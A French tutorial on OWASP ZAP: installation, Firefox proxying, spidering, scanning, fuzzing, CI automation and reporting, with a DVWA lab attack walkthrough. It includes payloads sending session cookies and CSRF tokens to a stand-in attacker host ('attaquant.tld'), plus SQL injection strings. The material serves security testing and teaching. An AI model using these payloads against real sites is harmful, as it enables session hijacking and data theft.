Maîtriser OWASP ZAP

Tutoriel exhaustif sur le scanner de vulnérabilités web de l'OWASP. Installation, spidering, scan passif et actif, fuzzing, exploitation des failles (XSS, SQLi, IDOR, CSSi…), automatisation YAML et intégration DevSecOps. Toutes les attaques sont démontrées avec Firefox.

Tutoriel · Niveau débutant à avancé · 45–60 min de lecture

Sommaire

  1. Introduction : ZAP, c'est quoi ?
  2. Installation et prérequis
  3. Configuration du proxy Firefox
  4. Interface et modes de travail
  5. Spidering traditionnel et AJAX
  6. Scan passif vs scan actif
  7. Analyse : XSS (reflété, stocké, DOM)
  8. Analyse : Injection SQL
  9. Analyse : IDOR et contrôle d'accès
  10. Analyse : Injection CSS et CSP
  11. Autres failles couvertes
  12. Authentification et session
  13. Fuzzing et attaques automatisées
  14. Attaque complète avec Firefox
  15. Automatisation YAML et CI/CD
  16. API REST et scripts
  17. Rapports et politiques de scan
  18. Bonnes pratiques et limites

1. Introduction : ZAP, c'est quoi ?

OWASP ZAP (Zed Attack Proxy) est un proxy d'interception et un scanner de vulnérabilités web développé par l'OWASP. Il est entièrement gratuit, open source (licence Apache 2.0) et maintenu par une communauté internationale.

ZAP s'utilise à toutes les étapes d'un test d'intrusion : exploration (spidering), interception manuelle, scan automatique, fuzzing, exploitation et reporting. Il s'intègre nativement dans les pipelines DevSecOps via Docker, GitHub Actions et son framework d'automatisation YAML.

Pourquoi l'utiliser ? Parce que le scan actif est inclus gratuitement, que l'API REST est complète, et que le mode headless permet de l'automatiser sans interface graphique.

Libre et gratuit

Licence Apache 2.0, code source auditable, aucune limitation fonctionnelle cachée.

Complet

Proxy, spider (traditionnel + AJAX), scan passif, scan actif, fuzzer, API REST, WebSocket.

Automatisable

Framework YAML, Docker, GitHub Actions, Jenkins, GitLab CI. Idéal pour la CI/CD.

2. Installation et prérequis

ZAP est une application Java. Java 11 minimum est requis (Java 17 recommandé pour les dernières versions). Il existe plusieurs formats d'installation selon votre système.

Installation sous Kali / Ubuntu / Debian

# Mise à jour des dépôts puis installation sudo apt update sudo apt install -y zaproxy # Vérification de la version zaproxy -version

Installation via Docker (recommandé pour la CI)

# Image stable officielle docker pull zaproxy/zap-stable # Image avec un navigateur (nécessaire pour l'ajax spider) docker pull zaproxy/zap-stable:latest # Lancer ZAP en mode daemon (sans interface) docker run -u zap -p 8080:8080 zaproxy/zap-stable zap.sh -daemon -host 0.0.0.0 -port 8080

Installation sous macOS et Windows

  • macOS : brew install --cask zap ou téléchargement du .dmg sur zaproxy.org.
  • Windows : installeur .exe officiel, inclut le runtime Java.
  • Linux générique : archive .tar.gz sur le site officiel, puis ./zap.sh.
Bon à savoir : pour les tests en laboratoire, utilisez des cibles légales comme DVWA (Damn Vulnerable Web Application), WebGoat ou Juice Shop de l'OWASP. Ne scannez jamais une cible sans autorisation écrite.

3. Configuration du proxy Firefox

Pour intercepter le trafic avec ZAP, il faut faire passer Firefox par le proxy de ZAP, puis installer le certificat racine de ZAP pour déchiffrer le HTTPS. C'est une étape obligatoire pour tester des applications modernes.

Étape 3.1 — Lancer ZAP et relever le port d'écoute

Au lancement, ZAP écoute par défaut sur localhost:8080. Vérifiez dans Tools → Options → Network → Local Servers/Proxies. Notez l'adresse et le port (par exemple 127.0.0.1:8080).

Étape 3.2 — Configurer le proxy dans Firefox

  1. Ouvrir Paramètres → Général → Paramètres réseau.
  2. Choisir Configuration manuelle du proxy.
  3. Renseigner : HTTP Proxy : 127.0.0.1, Port : 8080.
  4. Cocher Utiliser ce proxy pour tous les protocoles.
  5. Valider.

Étape 3.3 — Installer le certificat CA de ZAP

  1. Dans Firefox, aller sur http://zap/ ou http://localhost:8080.
  2. Télécharger le certificat OWASP ZAP Root CA (owasp_zap_root_ca.cer).
  3. Dans Firefox : Paramètres → Vie privée et sécurité → Afficher les certificats → Autorités.
  4. Cliquer sur Importer, sélectionner le fichier .cer.
  5. Cocher Confirmer cette autorité pour identifier des sites web.
Test : naviguez sur un site en HTTPS (par exemple https://example.com). Dans ZAP, une nouvelle entrée doit apparaître dans l'onglet Sites. Si c'est le cas, l'interception HTTPS fonctionne.

Utiliser FoxyProxy (confort)

Pour activer/désactiver le proxy en un clic, installez l'extension FoxyProxy dans Firefox. Créez un profil : type HTTP, hôte 127.0.0.1, port 8080. Vous pourrez basculer entre navigation normale et navigation via ZAP.

4. Interface et modes de travail

ZAP propose plusieurs modes pour s'adapter au contexte du test. Comprendre ces modes évite d'envoyer du scan actif par erreur sur une cible de production.

Mode Manuel

Par défaut. Toutes les fonctions sont accessibles : interception, scan actif, fuzzing, etc.

Mode Automatisé

Lance un scan automatique sur les cibles définies. Aucune interaction requise.

Mode Protect

Filtre toutes les requêtes qui ne sont pas dans le périmètre défini. Sécurité anti-fausse manip.

Mode Safe

Interdit toute action potentiellement dangereuse (scan actif, fuzzing). Idéal en production.

Panneaux principaux

PanneauRôle
SitesArborescence des URLs découvertes, organisée par hôte.
HistoryHistorique complet des requêtes/réponses interceptées.
AlertsListe des vulnérabilités détectées, classées par sévérité et confiance.
SpiderSuivi de l'exploration automatique du site.
Active ScanSuivi du scan actif, règle par règle.
BreakInterception manuelle des requêtes/réponses (comme un point d'arrêt).
HUDInterface overlay directement dans Firefox, pour agir sans quitter le navigateur.

5. Spidering traditionnel et AJAX

Le spider explore le site pour cartographier toutes les URLs accessibles. ZAP dispose de deux moteurs complémentaires.

Spider traditionnel

Pour les sites classiques. Suit les liens HTML, les formulaires, les redirections. Rapide et léger.

  • Analyse le code HTML brut
  • Ne rend pas le JavaScript
  • Idéal pour les sites statiques ou server-side

Ajax Spider

Utilise un vrai navigateur (Firefox ou Chrome headless) pour exécuter le JavaScript et découvrir les routes dynamiques.

  • Indispensable pour les SPA (React, Vue, Angular)
  • Plus lent mais beaucoup plus complet
  • Nécessite un navigateur configuré

Lancer un spider depuis l'interface

  1. Clic droit sur une URL dans l'onglet Sites.
  2. Attack → Spider…
  3. Renseigner éventuellement un contexte, un utilisateur, un point de départ.
  4. Cliquer sur Start Scan.

Lancer un spider via l'API REST

# Spider traditionnel curl "http://localhost:8080/JSON/spider/action/scan/?url=http://cible.local/&maxChildren=10&recurse=true" # Ajout d'un contexte et d'un utilisateur (authentifié) curl "http://localhost:8080/JSON/spider/action/scanAsUser/?url=http://cible.local/&contextId=1&userId=1" # Ajax Spider curl "http://localhost:8080/JSON/ajaxSpider/action/scan/?url=http://cible.local/" # Suivre l'avancement curl "http://localhost:8080/JSON/spider/view/status/?scanId=0"

6. Scan passif vs scan actif

C'est la distinction fondamentale à comprendre avant d'utiliser ZAP. Les deux types de scan coexistent et se complètent.

CritèreScan passifScan actif
PrincipeAnalyse les réponses sans modifier les requêtesEnvoie des payloads d'attaque
IntrusivitéNulleÉlevée
AutorisationPeut tourner en continuCible autorisée uniquement
DétecteEn-têtes manquants, cookies non sécurisés, fuites d'infos, CSP faibleXSS, SQLi, LFI, RCE, SSRF, etc.
VitesseTrès rapideLent (dépend de l'intensité)

Le scan passif en pratique

Le scan passif tourne en permanence dès que vous naviguez via le proxy. Chaque réponse HTTP est analysée par une série de règles passives. Pour consulter les résultats : onglet Alerts, filtre Passive.

Exemples d'alertes passives :

  • X-Content-Type-Options manquant → risque de MIME sniffing
  • Cookie sans attribut Secure ou HttpOnly
  • En-tête Content-Security-Policy absent ou trop permissif
  • Version de serveur exposée (Server: Apache/2.4.29)
  • Cookie de session sans attribut SameSite

Le scan actif en pratique

Le scan actif envoie des payloads d'attaque dans chaque paramètre découvert. Il faut définir précisément la cible.

  1. Clic droit sur l'URL cible dans Sites.
  2. Attack → Active Scan…
  3. Choisir un contexte, une politique (Default Policy), un utilisateur si authentifié.
  4. Ajuster l'intensité (LOW/MEDIUM/HIGH/INSANE) et le seuil (LOW/MEDIUM/HIGH).
  5. Start Scan.

L'onglet Active Scan montre en temps réel la règle en cours, le nombre de requêtes envoyées, et le nombre d'alertes produites.

Via l'API REST

# Lancer un scan actif curl "http://localhost:8080/JSON/ascan/action/scan/?url=http://cible.local/&recurse=true&inScopeOnly=true" # Suivre l'avancement curl "http://localhost:8080/JSON/ascan/view/status/?scanId=0" # Récupérer les alertes produites curl "http://localhost:8080/JSON/ascan/view/alertsIds/?scanId=0"

7. Analyse technique : XSS

Le Cross-Site Scripting est une injection de code JavaScript côté client. On distingue trois variantes, chacune couverte par une ou plusieurs règles ZAP.

7.1 XSS Réfléchi (Reflected)

Mécanisme

Le payload est envoyé dans un paramètre, puis reflété immédiatement dans la réponse HTML sans échappement.

Détection ZAP

Règle 40012 – Cross Site Scripting (Reflected). ZAP injecte des marqueurs uniques (<zap123>test</zap123>) et vérifie leur présence telle quelle dans la réponse.

URL vulnérable typique :

http://cible.local/search?q=<script>alert(1)</script>

ZAP envoie plusieurs variantes (balise script, attribut d'événement, URL javascript:, SVG, etc.) pour couvrir tous les contextes d'injection.

7.2 XSS Stocké (Stored)

Mécanisme

Le payload est persisté côté serveur (base de données, fichier, cache) puis affiché à d'autres utilisateurs.

Détection ZAP

Règle 40014 – Cross Site Scripting (Persistent). ZAP injecte un jeton unique, puis relance un spider pour vérifier sa réapparition ailleurs.

Limite connue : sur certaines applications (DVWA par exemple), ZAP classe le XSS stocké comme XSS réfléchi, car la fonction "Clear Guestbook" efface les jetons avant le re-crawl. Il faut alors confirmer manuellement.

7.3 XSS DOM-based

Le XSS DOM-based ne passe pas par le serveur : le JavaScript de la page lit une valeur (URL, fragment, localStorage) et l'injecte dans le DOM via un sink dangereux.

ZAP utilise l'add-on DOM XSS Active Scan Rule qui lance un navigateur headless pour exécuter le JS et observer le comportement.

Sinks surveillés :

  • innerHTML, outerHTML
  • document.write, document.writeln
  • eval, setTimeout, setInterval
  • element.src, element.href

7.4 Intensité d'attaque DOM XSS

NiveauPayloads par sink
LOW1
MEDIUM3
HIGH6
INSANETous

8. Analyse technique : Injection SQL

L'injection SQL permet de manipuler les requêtes envoyées à la base de données. ZAP dispose de plusieurs règles, adaptées aux SGBD courants.

Approche par erreurs

ZAP injecte un guillemet simple (') et analyse la réponse pour détecter des messages d'erreur SQL caractéristiques (You have an error in your SQL syntax…).

Approche temporelle (Time-Based)

ZAP injecte un payload conditionnel (WAITFOR DELAY '0:0:5' sur MsSQL) et mesure le temps de réponse pour confirmer l'injection.

Règles disponibles

IDRègleSGBD ciblé
40018SQL Injection – Hypersonic SQLHSQLDB (utilisé par WebGoat)
40019SQL Injection – MySQL (Time Based)MySQL / MariaDB
40020SQL Injection – Hypersonic SQL (Time Based)HSQLDB
40021SQL Injection – Oracle (Time Based)Oracle
40022SQL Injection – PostgreSQL (Time Based)PostgreSQL
40024SQL Injection – SQLiteSQLite
40027SQL Injection – MsSQL (Time Based)Microsoft SQL Server

Exemple concret sur WebGoat

Sur le challenge SQL Injection (advanced) de WebGoat, ZAP a détecté la faille via la règle Hypersonic SQL dans le paramètre column de l'endpoint /WebGoat/attack.

Le payload injecté était du type : ' OR '1'='1' --, provoquant une réponse différente (taille, contenu) qui a déclenché l'alerte.

Recommandation : ZAP est excellent comme détecteur initial, mais une confirmation manuelle ou via sqlmap est nécessaire pour valider et exploiter pleinement l'injection.

9. Analyse technique : IDOR et contrôle d'accès

L'IDOR (Insecure Direct Object Reference) survient lorsqu'une ressource est accessible en manipulant un identifiant (ID utilisateur, ID de commande, ID de fichier) sans contrôle d'accès. ZAP ne dispose pas d'une règle active dédiée, mais propose plusieurs fonctionnalités pour la tester.

9.1 Détection passive

La règle passive Username IDOR analyse les réponses pour identifier des paramètres contenant des identifiants (IDs numériques, UUID, tokens). Elle produit une alerte Information qui invite à un test manuel.

9.2 Test manuel avec le Replacer

L'add-on Replacer (Ctrl + R) permet de substituer des chaînes dans les requêtes/réponses automatiquement. C'est l'outil idéal pour tester un IDOR sur un token de session.

  1. Intercepter une requête contenant un identifiant (cookie, header, paramètre).
  2. Créer une règle : Match String = token utilisateur A, Replacement String = token utilisateur B.
  3. Envoyer la requête via le Manual Request Editor.
  4. Analyser la réponse : si l'utilisateur B accède aux données de A, l'IDOR est confirmé.

9.3 Fuzzing des identifiants numériques

Pour un paramètre user_id=1, utilisez le Fuzzer avec le payload Numberzz pour itérer de 1 à N. Triez les réponses par taille de corps : les valeurs qui renvoient des données différentes sont des ressources accessibles.

9.4 Script Fuzzer HTTP Processor

Pour aller plus loin, écrivez un script qui marque automatiquement les réponses intéressantes :

// Script Fuzzer HTTP Processor (JavaScript) function processResult(utils, fuzzResult) { var response = fuzzResult.getHttpMessage().getResponseBody().toString(); if (response.indexOf("super") !== -1) { fuzzResult.addCustomState("Key Custom State", "Super found"); } return true; }

Ce script marque les réponses contenant le mot "super", ce qui révèle rapidement les comptes privilégiés (ex. ID 42 d'un super-admin).

Exemple réel : sur Caido Labs, ZAP a découvert l'ID du super-admin (42) en fuzzant user_id de 1 à 50, puis en triant les réponses par taille.

10. Analyse technique : Injection CSS et CSP

L'injection CSS est moins couverte par les règles automatiques de ZAP. Elle est détectée principalement via l'analyse des en-têtes CSP et des tests manuels.

Détection par CSP

La règle passive CSP: style-src unsafe-inline signale l'utilisation de styles inline non sécurisés. L'absence de X-Content-Type-Options sur les fichiers CSS est aussi signalée.

Test manuel

Intercepter une requête où un paramètre est reflété dans une balise <style> ou un attribut style, puis injecter du CSS arbitraire pour confirmer la vulnérabilité.

Payloads CSS typiques

/* Vol de données via sélecteurs d'attributs */ input[name="csrf"][value^="a"] { background: url("https://attaquant.tld/leak?a"); } input[name="csrf"][value^="b"] { background: url("https://attaquant.tld/leak?b"); } /* Injection directe dans un style inline */ "><style>body{background:red}</style>"
Impact : une injection CSS bien placée peut exfiltrer des données sensibles (tokens CSRF, valeurs de formulaire) via des requêtes sortantes déclenchées par des sélecteurs d'attributs.

11. Autres failles couvertes par ZAP

FailleRègle ZAPMécanisme
Path TraversalRègle active intégréeInjection de ../ et analyse des réponses pour détecter l'accès à des fichiers hors périmètre
Remote OS Command InjectionRègle activeInjection de ;, |, && et détection de délais ou de sorties de commandes
SSRFRègle activeInjection d'URL internes et analyse des réponses
CSRFPassive + activeAnalyse des tokens anti-CSRF et test d'absence de validation
Open RedirectRègle activeInjection d'URL de redirection et vérification de la destination
ClickjackingPassiveVérification de l'absence de X-Frame-Options et de frame-ancestors
XXERègle activeInjection d'entités XML externes dans les requêtes SOAP/REST
LDAP InjectionRègle activeInjection de caractères spéciaux et analyse des réponses
Server Side Template InjectionRègle active (add-on)Injection de {{7*7}} et détection de 49 dans la réponse

12. Authentification et gestion de session

Pour tester les zones authentifiées (et détecter les IDOR, les élévations de privilèges, les fuites de données), ZAP doit pouvoir se connecter comme un utilisateur légitime.

12.1 Créer un contexte et un utilisateur

  1. Menu File → New Context (ou clic droit sur une URL → Include in Context).
  2. Dans l'onglet Contexts, définir le périmètre (URLs incluses/exclues).
  3. Onglet Authentication : choisir une méthode (Form-based, JSON-based, Script-based).
  4. Onglet Users : créer un utilisateur avec login/mot de passe.
  5. Onglet Session Management : configurer la gestion des cookies/tokens.
  6. Cliquer sur Forced User Mode pour que ZAP utilise toujours cet utilisateur.

12.2 Méthodes d'authentification supportées

MéthodeUsage
Manual AuthenticationVous vous connectez manuellement, ZAP récupère la session
Form-basedFormulaire HTML classique (login/password)
JSON-basedAPI renvoyant un token JSON
Script-basedScript personnalisé (OAuth, SAML, multi-étapes)
HTTP/NTLMAuthentification HTTP basique ou NTLM

12.3 Vérification de l'authentification

Après configuration, utilisez le bouton Check Logged In/Out dans l'onglet Authentication. ZAP envoie une requête et vérifie si la réponse correspond à un état connecté ou déconnecté.

13. Fuzzing et attaques automatisées

Le fuzzer de ZAP permet d'injecter des payloads dans n'importe quelle partie d'une requête : paramètres, en-têtes, cookies, corps. C'est l'outil polyvalent pour l'exploration de failles non couvertes par les règles actives.

13.1 Lancer un fuzz depuis l'interface

  1. Dans l'onglet History, clic droit sur une requête.
  2. Attack → Fuzz…
  3. Sélectionner la ou les positions à fuzzer (bouton Add).
  4. Choisir un ou plusieurs payloads (Fichiers, Numberzz, Regex, scripts).
  5. Cliquer sur Start Fuzzer.

13.2 Payloads prédéfinis

PayloadUsage
FileCharger une liste (SecLists, FuzzDB)
NumberzzItérer sur une plage numérique (IDOR)
RegexGénérer des chaînes par expression régulière
ScriptPayload dynamique calculé à la volée
ZAP fuzzerPayloads prédéfinis (XSS, SQLi, LFI…)

13.3 Fuzzer HTTP Processor (analyse des réponses)

Les Fuzzer HTTP Processors sont des scripts qui analysent les réponses en temps réel pendant le fuzz. Utile pour détecter des motifs spécifiques sans tout relire manuellement.

// Exemple : marquer les réponses contenant "admin" function processResult(utils, fuzzResult) { var body = fuzzResult.getHttpMessage().getResponseBody().toString(); if (body.indexOf("admin") !== -1) { fuzzResult.addCustomState("Key", "admin found"); } return true; }

13.4 Tri des résultats

Après un fuzz, triez les résultats par taille de réponse, code HTTP ou état personnalisé. Les réponses anormalement grandes ou petites révèlent souvent des comportements intéressants (fuite de données, bypass d'authentification).

14. Attaque complète avec Firefox

Voici un scénario d'attaque complet, de bout en bout, utilisant Firefox comme navigateur et ZAP comme proxy/outil d'exploitation. Cible d'exemple : DVWA (Damn Vulnerable Web Application), en local.

Étape 1 — Préparer l'environnement

# Lancer DVWA en local (Docker) docker run --rm -it -p 80:80 vulnerables/web-dvwa # Lancer ZAP en mode desktop (ou en daemon sur 8080) zaproxy &

Configurer Firefox pour utiliser ZAP comme proxy (section 3). Installer le certificat CA si ce n'est pas déjà fait.

Étape 2 — Se connecter à DVWA via Firefox

  1. Naviguer vers http://localhost/.
  2. Login : admin / password.
  3. Aller dans DVWA Security et mettre le niveau sur Low.
  4. Ouvrir ZAP, constater que les requêtes sont interceptées.

Étape 3 — Cartographier le site avec le spider

Clic droit sur http://localhost/ dans ZAP → Attack → Spider… → Start. Puis relancer avec Ajax Spider pour couvrir le JS.

Étape 4 — Scan actif ciblé

Clic droit sur http://localhost/vulnerabilities/xss_r/ → Attack → Active Scan… Lancer avec la politique par défaut. L'alerte Cross Site Scripting (Reflected) doit apparaître.

Étape 5 — Exploitation manuelle du XSS

Dans Firefox, naviguer vers :

http://localhost/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

Une popup s'affiche avec le cookie de session. C'est la preuve du XSS.

Pour exploiter plus loin, remplacer alert par une requête vers un serveur attaquant :

http://localhost/vulnerabilities/xss_r/?name=<script>new Image().src='http://attaquant.tld/steal?c='+document.cookie</script>

Étape 6 — Intercepter et modifier avec le Break

  1. Activer le mode Break dans ZAP.
  2. Dans Firefox, soumettre le formulaire XSS.
  3. ZAP intercepte la requête : modifier le payload en direct.
  4. Cliquer sur Submit pour l'envoyer.
  5. Analyser la réponse.

Étape 7 — Utiliser le HUD (Firefox)

ZAP dispose d'un HUD (Heads Up Display) qui s'affiche directement dans Firefox. Activer dans ZAP : Tools → Options → HUD → Enable. Recharger la page dans Firefox.

Depuis le HUD, vous pouvez :

  • Lancer un scan actif sur la page courante
  • Voir les alertes sans quitter Firefox
  • Injecter un payload directement dans un formulaire

Étape 8 — Test d'un IDOR avec le Replacer

  1. Identifier une requête contenant un ID de ressource (ex. /api/user/1/profile).
  2. Créer une règle Replacer : Match = /user/1/, Replacement = /user/2/.
  3. Envoyer la requête via Manual Request Editor.
  4. Observer si les données de l'utilisateur 2 sont accessibles.

Étape 9 — Fuzzing d'un paramètre sensible

Sur l'endpoint http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit, clic droit dans History → Attack → Fuzz…. Sélectionner la valeur 1 du paramètre id. Ajouter un payload File avec la liste SQLi de SecLists.

Analyser les résultats : les réponses contenant des erreurs SQL (You have an error in your SQL syntax) confirment la faille.

Étape 10 — Générer le rapport

Menu Report → Generate HTML Report. Sélectionner le contexte ou toutes les alertes. Le rapport inclut chaque faille, sa sévérité, sa description, la requête/réponse associée et les recommandations de remédiation.

Rappel légal : ces techniques ne doivent être appliquées que sur des cibles que vous possédez ou pour lesquelles vous disposez d'une autorisation écrite. Tester sans autorisation est un délit (article 323-1 du Code pénal).

15. Automatisation YAML et CI/CD

C'est le point fort de ZAP par rapport aux outils commerciaux. Le Automation Framework permet de décrire un plan de scan complet dans un fichier YAML, reproductible et versionné.

15.1 Structure d'un plan YAML

# plan.yaml — Plan de scan complet env: contexts: - name: "MonApp" urls: ["https://cible.local"] includePaths: ["https://cible.local/.*"] excludePaths: ["https://cible.local/logout.*"] authentication: method: "form" parameters: loginUrl: "https://cible.local/login" loginPageUrl: "https://cible.local/login" usernameParameter: "user" passwordParameter: "pass" users: - name: "testuser" credentials: { username: "test", password: "test" } jobs: - type: spider parameters: { context: "MonApp" } - type: ajaxSpider parameters: { context: "MonApp" } - type: passiveScan-wait - type: activeScan parameters: context: "MonApp" policy: "Default Policy" - type: report parameters: template: "traditional-html" reportDir: "/zap/wrk/" reportFile: "rapport.html"

Exécution :

zap.sh -cmd -autorun plan.yaml

15.2 Jobs disponibles

JobRôle
spiderSpider traditionnel
ajaxSpiderSpider AJAX (navigateur)
passiveScan-waitAttend la fin du scan passif
activeScanScan actif
activeScan-policyDéfinit une politique d'attaque
reportGénère un rapport
importImporte des URLs (fichier, har, etc.)
requestorEnvoie des requêtes actives prédéfinies

15.3 Scripts empaquetés Docker

# Baseline : spider + scan passif (sûr pour CI) docker run -t zaproxy/zap-stable zap-baseline.py -t https://cible.local # Full scan : baseline + scan actif docker run -t zaproxy/zap-stable zap-full-scan.py -t https://cible.local # API scan (OpenAPI/SOAP/GraphQL) docker run -t zaproxy/zap-stable zap-api-scan.py -t openapi.json -f openapi # Avec fichier de règles personnalisé docker run -t zaproxy/zap-stable zap-baseline.py -t https://cible.local -c zap-rules.conf

15.4 Intégration GitHub Actions

# .github/workflows/zap.yml name: OWASP ZAP Scan on: [push, pull_request] jobs: zap: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: ZAP Baseline Scan uses: zaproxy/action-baseline@v0.14.0 with: target: 'https://cible.local' rules_file_name: 'zap-rules.conf' fail_action: true artifact_name: 'zap-report'

15.5 Intégration Jenkins / GitLab CI

# GitLab CI (.gitlab-ci.yml) zap_scan: image: zaproxy/zap-stable script: - zap-baseline.py -t $CI_ENVIRONMENT_URL -r rapport.html artifacts: paths: [rapport.html]

16. API REST et scripts

ZAP expose une API REST complète (JSON) permettant de le piloter à distance, depuis n'importe quel langage. Utile pour scripter des scénarios complexes ou intégrer ZAP à un orchestrateur.

16.1 Endpoints clés

EndpointAction
/JSON/core/view/version/Version de ZAP
/JSON/core/view/sites/Liste des sites connus
/JSON/core/view/urls/Liste des URLs découvertes
/JSON/spider/action/scan/Lancer un spider
/JSON/ajaxSpider/action/scan/Lancer l'ajax spider
/JSON/ascan/action/scan/Lancer un scan actif
/JSON/ascan/view/status/Statut du scan actif
/JSON/core/view/alerts/Liste des alertes
/JSON/reports/action/generate/Générer un rapport

16.2 Sécuriser l'API (clé API)

Par défaut, l'API ZAP est protégée par une clé. La récupérer dans Tools → Options → API ou en variable d'environnement (ZAP_API_KEY).

# Exemple avec clé API curl "http://localhost:8080/JSON/core/view/version/?apikey=MaCleApi"

16.3 Exemple Python (script complet)

import requests, time, json ZAP = "http://localhost:8080" KEY = "MaCleApi" TARGET = "http://cible.local" # Lancer le spider r = requests.get(f"{ZAP}/JSON/spider/action/scan/", params={"url": TARGET, "apikey": KEY}) scan_id = r.json()["scan"] # Attendre la fin while True: s = requests.get(f"{ZAP}/JSON/spider/view/status/", params={"scanId": scan_id, "apikey": KEY}).json()["status"] if int(s) >= 100: break time.sleep(2) # Lancer le scan actif r = requests.get(f"{ZAP}/JSON/ascan/action/scan/", params={"url": TARGET, "apikey": KEY}) scan_id = r.json()["scan"] while True: s = requests.get(f"{ZAP}/JSON/ascan/view/status/", params={"scanId": scan_id, "apikey": KEY}).json()["status"] if int(s) >= 100: break time.sleep(5) # Récupérer les alertes alerts = requests.get(f"{ZAP}/JSON/core/view/alerts/", params={"baseurl": TARGET, "apikey": KEY}).json()["alerts"] for a in alerts: print(f"[{a['risk']}] {a['alert']} — {a['url']}")

17. Rapports et politiques de scan

ZAP génère des rapports détaillés dans plusieurs formats : HTML, JSON, XML, Markdown. Chaque alerte est classée par sévérité et degré de confiance.

17.1 Formats de rapport

TemplateUsage
traditional-htmlRapport HTML lisible, idéal pour livrable client
traditional-jsonJSON structuré pour intégration outillée
traditional-xmlXML pour parsers existants
traditional-mdMarkdown pour documentation Git
sarif-jsonFormat SARIF (GitHub Code Scanning)

17.2 Politique de scan et fichier .conf

Pour la CI, définissez un fichier zap-rules.conf qui fixe le comportement de chaque règle :

# ID NIVEAU (NOM DE LA RÈGLE) 10016 WARN (Web Browser XSS Protection Not Enabled - Passive) 10017 WARN (Cross-Domain JavaScript Source File Inclusion - Passive) 10020 FAIL (Anti-clickjacking Header Missing - Passive) 10021 FAIL (X-Content-Type-Options Header Missing - Passive) 10035 WARN (Strict-Transport-Security Header Missing - Passive) 40012 FAIL (Cross-Site Scripting - Reflected) 40014 FAIL (Cross-Site Scripting - Stored) 40018 FAIL (SQL Injection - Hypersonic SQL) 40026 WARN (Cross-Site Scripting - DOM) 90022 FAIL (Application Error Disclosure)

Les niveaux possibles sont IGNORE, INFO, WARN, FAIL. Avec FAIL, le pipeline CI échoue si la règle est déclenchée.

17.3 Tags d'alerte

Chaque alerte ZAP est associée à des tags (ex : OWASP_2021_A03 pour l'injection). Dans le fichier .conf, vous pouvez cibler des groupes entiers :

# Activer uniquement les règles liées au Top 10 OWASP 2021 -config ascan.policies.Default.rules.OWASP_2021_A03.strength=HIGH

18. Bonnes pratiques et limites

À faire

  • Toujours définir un contexte et un périmètre
  • Configurer l'authentification avant le scan actif
  • Utiliser le mode Safe en production
  • Vérifier manuellement chaque alerte
  • Exporter les rapports en JSON + HTML
  • Versionner vos fichiers YAML et .conf
  • Commencer par un scan passif en CI
  • Promouvoir progressivement les règles en FAIL

À éviter

  • Scanner sans autorisation écrite
  • Lancer un scan actif sur la production
  • Utiliser l'intensité INSANE en CI
  • Ignorer les faux positifs (à confirmer)
  • Oublier d'exclure /logout du périmètre
  • Scanner une API sans fichier OpenAPI
  • Laisser le mode Protect désactivé

18.1 Limites connues de ZAP

  • Failles de logique métier : non couvertes par les règles automatiques, à tester manuellement.
  • IDOR : détection partielle, nécessite une configuration d'authentification et un test manuel.
  • Faux positifs XSS : ZAP peut signaler des XSS sur des contextes non exploitables (ex. JSON échappé).
  • XSS stocké : la détection par re-crawl peut échouer si l'application nettoie les jetons.
  • Authentification complexe : OAuth2/SAML multi-étapes nécessite un script personnalisé.
  • Scan actif destructeur : certains payloads peuvent modifier/supprimer des données. Toujours tester sur une copie.

18.2 Conseils pour un audit efficace

  1. Phase 1 — Reconnaissance manuelle avec Firefox + ZAP en proxy : comprendre l'application, ses flux, ses formulaires.
  2. Phase 2 — Spider (traditionnel + AJAX) pour cartographier.
  3. Phase 3 — Scan passif : récolter les premières alertes (headers, cookies, CSP).
  4. Phase 4 — Scan actif ciblé sur les endpoints sensibles (login, recherche, upload, API).
  5. Phase 5 — Tests manuels (IDOR, logique métier, XSS stocké) aidés par le Replacer et le Fuzzer.
  6. Phase 6 — Rédaction du rapport et priorisation des correctifs.
Rappel : ZAP est un outil, pas une baguette magique. Un audit de qualité repose sur la compréhension de l'application, la configuration correcte des contextes, et la vérification manuelle des alertes.

Ressources officielles

✉ Signaler un abus ou une vulnérabilité

Si vous découvrez une vulnérabilité sur un système, ne l'exploitez pas au-delà du nécessaire pour la démontrer, et signalez-la au propriétaire ou aux autorités compétentes.

Pour aller plus loin

Ce tutoriel couvre l'essentiel de ZAP. Pour approfondir, explorez les add-ons du Marketplace, écrivez vos propres scripts d'authentification, et testez ZAP sur les challenges de l'OWASP (WebGoat, Juice Shop, DVWA).

Voir la Formation 2026 → Tous les tutoriels →